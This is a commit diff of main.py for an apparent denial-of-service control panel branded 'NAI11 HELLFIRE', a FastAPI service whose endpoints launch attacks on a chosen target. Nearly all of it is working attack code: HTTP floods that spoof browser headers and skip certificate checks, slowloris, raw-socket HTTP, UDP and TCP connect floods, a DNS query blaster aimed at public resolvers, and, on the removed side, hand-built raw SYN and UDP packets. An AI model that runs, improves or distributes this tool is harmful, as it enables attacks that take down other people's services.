Update main.py
Browse files
main.py
CHANGED
|
@@ -10,6 +10,7 @@ import struct
|
|
| 10 |
import asyncio
|
| 11 |
from collections import deque
|
| 12 |
from typing import Dict, Optional, List
|
|
|
|
| 13 |
|
| 14 |
import uvicorn
|
| 15 |
import httpx
|
|
@@ -29,8 +30,6 @@ attack_active = False
|
|
| 29 |
attack_lock = threading.Lock()
|
| 30 |
executor: Optional[ThreadPoolExecutor] = None
|
| 31 |
stop_event = threading.Event()
|
| 32 |
-
counters: Dict[str, int] = {}
|
| 33 |
-
counters_lock = threading.Lock()
|
| 34 |
total_packets = 0
|
| 35 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 36 |
attack_end_time = 0.0
|
|
@@ -74,11 +73,11 @@ class Layer7Config(AttackConfig):
|
|
| 74 |
return v
|
| 75 |
|
| 76 |
class Layer4Config(AttackConfig):
|
| 77 |
-
protocol: str = Field("
|
| 78 |
-
payload_size: int = Field(
|
| 79 |
@validator('protocol')
|
| 80 |
def validate_protocol(cls, v):
|
| 81 |
-
valid = ["udp", "
|
| 82 |
if v not in valid:
|
| 83 |
raise ValueError(f"L4: {', '.join(valid)}")
|
| 84 |
return v
|
|
@@ -97,287 +96,337 @@ class StatusResponse(BaseModel):
|
|
| 97 |
logs: List[str]
|
| 98 |
|
| 99 |
# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
|
| 100 |
-
async def l7_worker_async(
|
| 101 |
global total_packets
|
| 102 |
-
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 108 |
while not stop_event.is_set():
|
| 109 |
try:
|
| 110 |
if method == "get":
|
| 111 |
await client.get(url, headers=headers)
|
| 112 |
elif method == "post":
|
| 113 |
-
await client.post(url, data={"
|
| 114 |
elif method == "head":
|
| 115 |
await client.head(url, headers=headers)
|
| 116 |
elif method == "put":
|
| 117 |
-
await client.put(url, data={"
|
| 118 |
elif method == "delete":
|
| 119 |
-
await client.delete(url)
|
| 120 |
elif method == "cookie":
|
| 121 |
-
|
|
|
|
| 122 |
elif method == "rand":
|
| 123 |
-
|
| 124 |
-
await client.request(
|
| 125 |
-
|
| 126 |
-
|
| 127 |
-
|
| 128 |
-
except:
|
| 129 |
-
|
| 130 |
|
| 131 |
-
# ------------------- RUN
|
| 132 |
-
def run_l7_worker(
|
| 133 |
-
|
|
|
|
|
|
|
|
|
|
| 134 |
|
| 135 |
-
# ------------------- LAYER 7 SYNC
|
| 136 |
-
def slowloris_worker(
|
| 137 |
global total_packets
|
| 138 |
while not stop_event.is_set():
|
| 139 |
try:
|
| 140 |
-
s = socket.
|
| 141 |
-
s.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 142 |
while not stop_event.is_set():
|
| 143 |
-
s.send(
|
|
|
|
| 144 |
time.sleep(10)
|
| 145 |
-
|
| 146 |
-
counters["l7"] = counters.get("l7", 0) + 1
|
| 147 |
-
total_packets += 1
|
| 148 |
except:
|
| 149 |
time.sleep(1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 150 |
|
| 151 |
-
def
|
| 152 |
global total_packets
|
| 153 |
-
servers = ["8.8.8.8", "1.1.1.1"]
|
| 154 |
-
payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + b"A" * 40
|
| 155 |
while not stop_event.is_set():
|
| 156 |
try:
|
| 157 |
-
s = socket.socket(socket.AF_INET, socket.
|
| 158 |
-
|
| 159 |
-
|
| 160 |
-
|
| 161 |
-
|
| 162 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 163 |
except:
|
| 164 |
-
|
| 165 |
finally:
|
| 166 |
-
try:
|
| 167 |
-
|
| 168 |
-
|
|
|
|
| 169 |
|
| 170 |
-
# ------------------- LAYER 4
|
| 171 |
-
def
|
| 172 |
global total_packets
|
| 173 |
-
payload =
|
| 174 |
-
|
| 175 |
-
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 176 |
-
src_ip = socket.inet_aton("0.0.0.0")
|
| 177 |
-
dst_ip = socket.inet_aton(target_ip)
|
| 178 |
while not stop_event.is_set():
|
| 179 |
try:
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
s.
|
| 183 |
-
|
| 184 |
-
counters["l4"] = counters.get("l4", 0) + 1
|
| 185 |
-
total_packets += 1
|
| 186 |
except:
|
| 187 |
pass
|
| 188 |
-
s.close()
|
| 189 |
|
| 190 |
-
def
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 191 |
global total_packets
|
| 192 |
-
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 196 |
while not stop_event.is_set():
|
| 197 |
try:
|
| 198 |
-
|
| 199 |
-
|
| 200 |
-
|
| 201 |
-
|
| 202 |
-
counters["l4"] = counters.get("l4", 0) + 1
|
| 203 |
total_packets += 1
|
| 204 |
except:
|
| 205 |
pass
|
| 206 |
-
s.close()
|
| 207 |
|
| 208 |
-
# -------------------
|
| 209 |
-
def
|
| 210 |
-
|
| 211 |
-
for i in range(0, len(data), 2):
|
| 212 |
-
if i + 1 < len(data):
|
| 213 |
-
w = (data[i] << 8) | data[i + 1]
|
| 214 |
-
else:
|
| 215 |
-
w = data[i] << 8
|
| 216 |
-
s += w
|
| 217 |
-
while s >> 16:
|
| 218 |
-
s = (s & 0xFFFF) + (s >> 16)
|
| 219 |
-
return ~s & 0xFFFF
|
| 220 |
-
|
| 221 |
-
def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
|
| 222 |
-
s = 0
|
| 223 |
-
for i in range(0, 4, 2):
|
| 224 |
-
s += (src[i] << 8) | src[i + 1]
|
| 225 |
-
s += (dst[i] << 8) | dst[i + 1]
|
| 226 |
-
s += proto
|
| 227 |
-
s += length
|
| 228 |
-
while s >> 16:
|
| 229 |
-
s = (s & 0xFFFF) + (s >> 16)
|
| 230 |
-
return s
|
| 231 |
-
|
| 232 |
-
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
|
| 233 |
-
total = 20 + payload_len
|
| 234 |
-
ip = bytearray(20)
|
| 235 |
-
ip[0] = 0x45
|
| 236 |
-
ip[8] = 64
|
| 237 |
-
ip[9] = proto
|
| 238 |
-
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
|
| 239 |
-
ip[12:16] = src_ip
|
| 240 |
-
ip[16:20] = dst_ip
|
| 241 |
-
cs = checksum(ip)
|
| 242 |
-
struct.pack_into("!H", ip, 10, cs)
|
| 243 |
-
return bytes(ip)
|
| 244 |
-
|
| 245 |
-
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
|
| 246 |
-
tcp = bytearray(20)
|
| 247 |
-
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
|
| 248 |
-
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
|
| 249 |
-
cs = checksum(struct.pack("!I", pseudo) + tcp)
|
| 250 |
-
struct.pack_into("!H", tcp, 16, cs)
|
| 251 |
-
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
|
| 252 |
-
return ip + tcp
|
| 253 |
-
|
| 254 |
-
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
|
| 255 |
-
udp_len = 8 + len(payload)
|
| 256 |
-
udp = bytearray(8)
|
| 257 |
-
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
|
| 258 |
-
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 259 |
-
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
|
| 260 |
-
struct.pack_into("!H", udp, 6, cs)
|
| 261 |
-
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
|
| 262 |
-
return ip + udp
|
| 263 |
-
|
| 264 |
-
# ------------------- LAUNCHER -------------------
|
| 265 |
-
def resolve_ip(target: str) -> str:
|
| 266 |
try:
|
| 267 |
-
|
| 268 |
-
|
| 269 |
-
|
| 270 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 271 |
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 272 |
-
global attack_active, attack_end_time, attack_type_name
|
|
|
|
| 273 |
with attack_lock:
|
| 274 |
if attack_active:
|
| 275 |
-
raise HTTPException(400, "Attack in progress")
|
|
|
|
| 276 |
attack_active = True
|
| 277 |
stop_event.clear()
|
| 278 |
-
counters.clear()
|
| 279 |
total_packets = 0
|
| 280 |
attack_type_name = attack_type.upper()
|
|
|
|
| 281 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 282 |
-
attack_end_time = time.time() + duration
|
| 283 |
-
|
| 284 |
-
|
|
|
|
|
|
|
|
|
|
| 285 |
init_executor()
|
| 286 |
-
|
| 287 |
-
|
| 288 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 289 |
if attack_type.startswith("l7_"):
|
| 290 |
method = kwargs.get("method", "get")
|
| 291 |
-
|
| 292 |
if method == "slowloris":
|
| 293 |
worker = lambda: slowloris_worker(target_ip, config.port)
|
| 294 |
elif method == "reflect":
|
| 295 |
-
worker = lambda:
|
| 296 |
else:
|
| 297 |
-
worker = lambda: run_l7_worker(
|
|
|
|
| 298 |
for _ in range(config.threads):
|
| 299 |
executor.submit(worker)
|
| 300 |
-
|
| 301 |
-
elif attack_type
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 302 |
for _ in range(config.threads):
|
| 303 |
-
executor.submit(
|
| 304 |
-
|
| 305 |
-
|
| 306 |
-
executor.submit(raw_syn_flood, target_ip, config.port)
|
| 307 |
-
|
| 308 |
if duration != float('inf'):
|
| 309 |
def auto_stop():
|
| 310 |
time.sleep(duration)
|
| 311 |
stop_attack()
|
|
|
|
|
|
|
| 312 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 313 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 314 |
# ------------------- ENDPOINTS -------------------
|
| 315 |
@app.post("/layer7/attack")
|
| 316 |
def l7_attack(config: Layer7Config):
|
| 317 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 318 |
-
return {"status": "NAI11 L7 ATTACK LAUNCHED"}
|
| 319 |
|
| 320 |
@app.post("/layer4/attack")
|
| 321 |
def l4_attack(config: Layer4Config):
|
| 322 |
-
|
| 323 |
-
|
| 324 |
-
"udp_pps": "raw_udp_pps",
|
| 325 |
-
"syn": "raw_syn"
|
| 326 |
-
}
|
| 327 |
-
attack_key = proto_map[config.protocol]
|
| 328 |
-
launch_attack(config, attack_key)
|
| 329 |
-
return {"status": "NAI11 L4 ATTACK LAUNCHED"}
|
| 330 |
|
| 331 |
@app.post("/stop")
|
| 332 |
-
def
|
| 333 |
-
|
| 334 |
-
with attack_lock:
|
| 335 |
-
if not attack_active:
|
| 336 |
-
return {"status": "no_attack"}
|
| 337 |
-
stop_event.set()
|
| 338 |
-
attack_active = False
|
| 339 |
-
_log("NAI11 HELLFIRE STOPPED")
|
| 340 |
-
return {"status": "stopped"}
|
| 341 |
|
| 342 |
@app.get("/status", response_model=StatusResponse)
|
| 343 |
-
def
|
| 344 |
global last_time, last_total
|
|
|
|
| 345 |
now = time.time()
|
| 346 |
-
|
| 347 |
-
|
| 348 |
-
|
| 349 |
-
|
| 350 |
-
|
| 351 |
-
|
| 352 |
-
|
| 353 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 354 |
return StatusResponse(
|
| 355 |
running=attack_active,
|
| 356 |
-
attack_type=attack_type_name,
|
| 357 |
target=None,
|
| 358 |
-
total_packets=
|
| 359 |
pps=round(pps, 1),
|
| 360 |
-
threads_active=
|
| 361 |
-
duration=
|
| 362 |
-
elapsed=round(
|
| 363 |
-
remaining=round(
|
| 364 |
-
logs=list(log_buffer)
|
| 365 |
)
|
| 366 |
|
| 367 |
@app.get("/attack/types")
|
| 368 |
-
def
|
| 369 |
return {
|
| 370 |
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
|
| 371 |
-
"layer4": ["udp", "
|
| 372 |
-
"max_threads": "
|
| 373 |
"max_rps": "10,000+ per node"
|
| 374 |
}
|
| 375 |
|
| 376 |
@app.get("/")
|
| 377 |
def root():
|
| 378 |
-
return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING"}
|
| 379 |
|
| 380 |
-
# ------------------- START -------------------
|
| 381 |
if __name__ == "__main__":
|
|
|
|
|
|
|
| 382 |
init_executor()
|
| 383 |
-
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|
|
|
|
| 10 |
import asyncio
|
| 11 |
from collections import deque
|
| 12 |
from typing import Dict, Optional, List
|
| 13 |
+
import ssl
|
| 14 |
|
| 15 |
import uvicorn
|
| 16 |
import httpx
|
|
|
|
| 30 |
attack_lock = threading.Lock()
|
| 31 |
executor: Optional[ThreadPoolExecutor] = None
|
| 32 |
stop_event = threading.Event()
|
|
|
|
|
|
|
| 33 |
total_packets = 0
|
| 34 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 35 |
attack_end_time = 0.0
|
|
|
|
| 73 |
return v
|
| 74 |
|
| 75 |
class Layer4Config(AttackConfig):
|
| 76 |
+
protocol: str = Field("udp")
|
| 77 |
+
payload_size: int = Field(1024, ge=0, le=65507)
|
| 78 |
@validator('protocol')
|
| 79 |
def validate_protocol(cls, v):
|
| 80 |
+
valid = ["udp", "syn", "ack", "dns"]
|
| 81 |
if v not in valid:
|
| 82 |
raise ValueError(f"L4: {', '.join(valid)}")
|
| 83 |
return v
|
|
|
|
| 96 |
logs: List[str]
|
| 97 |
|
| 98 |
# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
|
| 99 |
+
async def l7_worker_async(target: str, port: int, method: str):
|
| 100 |
global total_packets
|
| 101 |
+
headers = {
|
| 102 |
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
| 103 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
| 104 |
+
"Accept-Language": "en-US,en;q=0.5",
|
| 105 |
+
"Accept-Encoding": "gzip, deflate, br",
|
| 106 |
+
"Connection": "keep-alive",
|
| 107 |
+
"Upgrade-Insecure-Requests": "1",
|
| 108 |
+
"Cache-Control": "no-cache",
|
| 109 |
+
"Pragma": "no-cache"
|
| 110 |
+
}
|
| 111 |
+
|
| 112 |
+
# Determine protocol
|
| 113 |
+
protocol = "https" if port == 443 else "http"
|
| 114 |
+
url = f"{protocol}://{target}:{port}/"
|
| 115 |
+
|
| 116 |
+
# Create SSL context to ignore certificate errors
|
| 117 |
+
ssl_context = ssl.create_default_context()
|
| 118 |
+
ssl_context.check_hostname = False
|
| 119 |
+
ssl_context.verify_mode = ssl.CERT_NONE
|
| 120 |
+
|
| 121 |
+
transport = httpx.AsyncHTTPTransport(retries=0, verify=ssl_context)
|
| 122 |
+
timeout = httpx.Timeout(10.0)
|
| 123 |
+
|
| 124 |
+
async with httpx.AsyncClient(transport=transport, timeout=timeout, verify=False, http2=True) as client:
|
| 125 |
while not stop_event.is_set():
|
| 126 |
try:
|
| 127 |
if method == "get":
|
| 128 |
await client.get(url, headers=headers)
|
| 129 |
elif method == "post":
|
| 130 |
+
await client.post(url, headers=headers, data={"data": "x" * 100})
|
| 131 |
elif method == "head":
|
| 132 |
await client.head(url, headers=headers)
|
| 133 |
elif method == "put":
|
| 134 |
+
await client.put(url, headers=headers, data={"data": "x" * 100})
|
| 135 |
elif method == "delete":
|
| 136 |
+
await client.delete(url, headers=headers)
|
| 137 |
elif method == "cookie":
|
| 138 |
+
cookie_headers = {**headers, "Cookie": "session=abc123; user=test"}
|
| 139 |
+
await client.get(url, headers=cookie_headers)
|
| 140 |
elif method == "rand":
|
| 141 |
+
rand_method = random.choice(["GET", "POST", "PUT", "DELETE"])
|
| 142 |
+
await client.request(rand_method, url, headers=headers)
|
| 143 |
+
|
| 144 |
+
total_packets += 1
|
| 145 |
+
|
| 146 |
+
except Exception as e:
|
| 147 |
+
continue
|
| 148 |
|
| 149 |
+
# ------------------- RUN LAYER 7 WORKER -------------------
|
| 150 |
+
def run_l7_worker(target: str, port: int, method: str):
|
| 151 |
+
try:
|
| 152 |
+
asyncio.new_event_loop().run_until_complete(l7_worker_async(target, port, method))
|
| 153 |
+
except:
|
| 154 |
+
pass
|
| 155 |
|
| 156 |
+
# ------------------- LAYER 7 SYNC METHODS -------------------
|
| 157 |
+
def slowloris_worker(target: str, port: int):
|
| 158 |
global total_packets
|
| 159 |
while not stop_event.is_set():
|
| 160 |
try:
|
| 161 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 162 |
+
s.settimeout(5)
|
| 163 |
+
s.connect((target, port))
|
| 164 |
+
|
| 165 |
+
# Send initial headers
|
| 166 |
+
s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n".encode())
|
| 167 |
+
s.send("User-Agent: Mozilla/5.0\r\n".encode())
|
| 168 |
+
s.send("Accept: text/html\r\n".encode())
|
| 169 |
+
|
| 170 |
+
# Keep connection open
|
| 171 |
while not stop_event.is_set():
|
| 172 |
+
s.send(f"X-{random.randint(1000,9999)}: {random.randint(1000,9999)}\r\n".encode())
|
| 173 |
+
total_packets += 1
|
| 174 |
time.sleep(10)
|
| 175 |
+
|
|
|
|
|
|
|
| 176 |
except:
|
| 177 |
time.sleep(1)
|
| 178 |
+
finally:
|
| 179 |
+
try:
|
| 180 |
+
s.close()
|
| 181 |
+
except:
|
| 182 |
+
pass
|
| 183 |
|
| 184 |
+
def http_flood_worker(target: str, port: int):
|
| 185 |
global total_packets
|
|
|
|
|
|
|
| 186 |
while not stop_event.is_set():
|
| 187 |
try:
|
| 188 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 189 |
+
s.settimeout(5)
|
| 190 |
+
s.connect((target, port))
|
| 191 |
+
|
| 192 |
+
payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"
|
| 193 |
+
|
| 194 |
+
while not stop_event.is_set():
|
| 195 |
+
s.send(payload.encode())
|
| 196 |
+
total_packets += 1
|
| 197 |
+
|
| 198 |
except:
|
| 199 |
+
time.sleep(0.1)
|
| 200 |
finally:
|
| 201 |
+
try:
|
| 202 |
+
s.close()
|
| 203 |
+
except:
|
| 204 |
+
pass
|
| 205 |
|
| 206 |
+
# ------------------- LAYER 4 METHODS -------------------
|
| 207 |
+
def udp_flood_worker(target: str, port: int, payload_size: int):
|
| 208 |
global total_packets
|
| 209 |
+
payload = random._urandom(payload_size)
|
| 210 |
+
|
|
|
|
|
|
|
|
|
|
| 211 |
while not stop_event.is_set():
|
| 212 |
try:
|
| 213 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 214 |
+
s.sendto(payload, (target, port))
|
| 215 |
+
s.close()
|
| 216 |
+
total_packets += 1
|
|
|
|
|
|
|
| 217 |
except:
|
| 218 |
pass
|
|
|
|
| 219 |
|
| 220 |
+
def tcp_syn_worker(target: str, port: int):
|
| 221 |
+
global total_packets
|
| 222 |
+
while not stop_event.is_set():
|
| 223 |
+
try:
|
| 224 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 225 |
+
s.settimeout(1)
|
| 226 |
+
s.connect((target, port))
|
| 227 |
+
s.close()
|
| 228 |
+
total_packets += 1
|
| 229 |
+
except:
|
| 230 |
+
total_packets += 1 # Count connection attempts
|
| 231 |
+
|
| 232 |
+
def dns_amplification_worker(target: str, port: int):
|
| 233 |
global total_packets
|
| 234 |
+
# DNS query payload
|
| 235 |
+
dns_payload = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01'
|
| 236 |
+
|
| 237 |
+
dns_servers = [
|
| 238 |
+
"8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1",
|
| 239 |
+
"9.9.9.9", "149.112.112.112", "64.6.64.6", "64.6.65.6"
|
| 240 |
+
]
|
| 241 |
+
|
| 242 |
while not stop_event.is_set():
|
| 243 |
try:
|
| 244 |
+
for server in dns_servers:
|
| 245 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 246 |
+
s.sendto(dns_payload, (server, 53))
|
| 247 |
+
s.close()
|
|
|
|
| 248 |
total_packets += 1
|
| 249 |
except:
|
| 250 |
pass
|
|
|
|
| 251 |
|
| 252 |
+
# ------------------- RESOLVE TARGET -------------------
|
| 253 |
+
def resolve_target(target: str) -> str:
|
| 254 |
+
"""Resolve domain to IP or return IP if already an IP"""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 255 |
try:
|
| 256 |
+
# Remove http:// or https:// if present
|
| 257 |
+
if target.startswith(('http://', 'https://')):
|
| 258 |
+
target = target.split('://', 1)[1]
|
| 259 |
+
|
| 260 |
+
# Remove port if present
|
| 261 |
+
if ':' in target:
|
| 262 |
+
target = target.split(':')[0]
|
| 263 |
+
|
| 264 |
+
# Remove path if present
|
| 265 |
+
if '/' in target:
|
| 266 |
+
target = target.split('/')[0]
|
| 267 |
+
|
| 268 |
+
# Check if it's already an IP address
|
| 269 |
+
try:
|
| 270 |
+
socket.inet_aton(target)
|
| 271 |
+
return target
|
| 272 |
+
except socket.error:
|
| 273 |
+
# It's a domain, resolve it
|
| 274 |
+
return socket.gethostbyname(target)
|
| 275 |
+
except Exception as e:
|
| 276 |
+
raise HTTPException(status_code=400, detail=f"Cannot resolve target: {str(e)}")
|
| 277 |
+
|
| 278 |
+
# ------------------- LAUNCH ATTACK -------------------
|
| 279 |
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 280 |
+
global attack_active, attack_end_time, attack_type_name, total_packets
|
| 281 |
+
|
| 282 |
with attack_lock:
|
| 283 |
if attack_active:
|
| 284 |
+
raise HTTPException(status_code=400, detail="Attack already in progress")
|
| 285 |
+
|
| 286 |
attack_active = True
|
| 287 |
stop_event.clear()
|
|
|
|
| 288 |
total_packets = 0
|
| 289 |
attack_type_name = attack_type.upper()
|
| 290 |
+
|
| 291 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 292 |
+
attack_end_time = time.time() + duration
|
| 293 |
+
|
| 294 |
+
_log(f"π NAI11 HELLFIRE {attack_type.upper()} LAUNCHED")
|
| 295 |
+
_log(f"π― Target: {config.target}:{config.port}")
|
| 296 |
+
_log(f"π Threads: {config.threads} | Duration: {config.duration}s")
|
| 297 |
+
|
| 298 |
init_executor()
|
| 299 |
+
|
| 300 |
+
try:
|
| 301 |
+
target_ip = resolve_target(config.target)
|
| 302 |
+
_log(f"π Resolved IP: {target_ip}")
|
| 303 |
+
except Exception as e:
|
| 304 |
+
with attack_lock:
|
| 305 |
+
attack_active = False
|
| 306 |
+
raise HTTPException(status_code=400, detail=str(e))
|
| 307 |
+
|
| 308 |
+
# Launch appropriate attack
|
| 309 |
if attack_type.startswith("l7_"):
|
| 310 |
method = kwargs.get("method", "get")
|
| 311 |
+
|
| 312 |
if method == "slowloris":
|
| 313 |
worker = lambda: slowloris_worker(target_ip, config.port)
|
| 314 |
elif method == "reflect":
|
| 315 |
+
worker = lambda: dns_amplification_worker(target_ip, config.port)
|
| 316 |
else:
|
| 317 |
+
worker = lambda: run_l7_worker(target_ip, config.port, method)
|
| 318 |
+
|
| 319 |
for _ in range(config.threads):
|
| 320 |
executor.submit(worker)
|
| 321 |
+
|
| 322 |
+
elif attack_type.startswith("l4_"):
|
| 323 |
+
protocol = kwargs.get("protocol", "udp")
|
| 324 |
+
payload_size = kwargs.get("payload_size", 1024)
|
| 325 |
+
|
| 326 |
+
if protocol == "udp":
|
| 327 |
+
worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
|
| 328 |
+
elif protocol == "syn":
|
| 329 |
+
worker = lambda: tcp_syn_worker(target_ip, config.port)
|
| 330 |
+
elif protocol == "dns":
|
| 331 |
+
worker = lambda: dns_amplification_worker(target_ip, config.port)
|
| 332 |
+
|
| 333 |
for _ in range(config.threads):
|
| 334 |
+
executor.submit(worker)
|
| 335 |
+
|
| 336 |
+
# Auto-stop timer
|
|
|
|
|
|
|
| 337 |
if duration != float('inf'):
|
| 338 |
def auto_stop():
|
| 339 |
time.sleep(duration)
|
| 340 |
stop_attack()
|
| 341 |
+
_log("β° Attack duration completed - AUTO STOPPED")
|
| 342 |
+
|
| 343 |
threading.Thread(target=auto_stop, daemon=True).start()
|
| 344 |
|
| 345 |
+
# ------------------- STOP ATTACK -------------------
|
| 346 |
+
def stop_attack():
|
| 347 |
+
global attack_active
|
| 348 |
+
with attack_lock:
|
| 349 |
+
if not attack_active:
|
| 350 |
+
return {"status": "no_attack"}
|
| 351 |
+
|
| 352 |
+
stop_event.set()
|
| 353 |
+
attack_active = False
|
| 354 |
+
|
| 355 |
+
if executor:
|
| 356 |
+
executor.shutdown(wait=False)
|
| 357 |
+
|
| 358 |
+
_log("π NAI11 HELLFIRE STOPPED")
|
| 359 |
+
|
| 360 |
+
return {"status": "stopped"}
|
| 361 |
+
|
| 362 |
# ------------------- ENDPOINTS -------------------
|
| 363 |
@app.post("/layer7/attack")
|
| 364 |
def l7_attack(config: Layer7Config):
|
| 365 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 366 |
+
return {"status": "NAI11 L7 ATTACK LAUNCHED", "method": config.method, "target": config.target}
|
| 367 |
|
| 368 |
@app.post("/layer4/attack")
|
| 369 |
def l4_attack(config: Layer4Config):
|
| 370 |
+
launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
|
| 371 |
+
return {"status": "NAI11 L4 ATTACK LAUNCHED", "protocol": config.protocol, "target": config.target}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 372 |
|
| 373 |
@app.post("/stop")
|
| 374 |
+
def stop_attack_endpoint():
|
| 375 |
+
return stop_attack()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 376 |
|
| 377 |
@app.get("/status", response_model=StatusResponse)
|
| 378 |
+
def get_status():
|
| 379 |
global last_time, last_total
|
| 380 |
+
|
| 381 |
now = time.time()
|
| 382 |
+
elapsed = now - last_time
|
| 383 |
+
current_total = total_packets
|
| 384 |
+
|
| 385 |
+
# Calculate PPS/RPS
|
| 386 |
+
if elapsed > 0:
|
| 387 |
+
pps = (current_total - last_total) / elapsed
|
| 388 |
+
else:
|
| 389 |
+
pps = 0
|
| 390 |
+
|
| 391 |
+
last_time = now
|
| 392 |
+
last_total = current_total
|
| 393 |
+
|
| 394 |
+
# Get thread count
|
| 395 |
+
active_threads = threading.active_count() - 1 # Subtract main thread
|
| 396 |
+
|
| 397 |
+
# Calculate times
|
| 398 |
+
elapsed_time = now - (attack_end_time - (config.duration if attack_active else 0)) if attack_active else 0
|
| 399 |
+
remaining_time = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
| 400 |
+
|
| 401 |
return StatusResponse(
|
| 402 |
running=attack_active,
|
| 403 |
+
attack_type=attack_type_name if attack_active else None,
|
| 404 |
target=None,
|
| 405 |
+
total_packets=current_total,
|
| 406 |
pps=round(pps, 1),
|
| 407 |
+
threads_active=active_threads,
|
| 408 |
+
duration=config.duration if attack_active else 0,
|
| 409 |
+
elapsed=round(elapsed_time, 1),
|
| 410 |
+
remaining=round(remaining_time, 1) if remaining_time >= 0 else -1,
|
| 411 |
+
logs=list(log_buffer)[-20:] # Last 20 logs
|
| 412 |
)
|
| 413 |
|
| 414 |
@app.get("/attack/types")
|
| 415 |
+
def get_attack_types():
|
| 416 |
return {
|
| 417 |
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
|
| 418 |
+
"layer4": ["udp", "syn", "dns"],
|
| 419 |
+
"max_threads": "UNLIMITED",
|
| 420 |
"max_rps": "10,000+ per node"
|
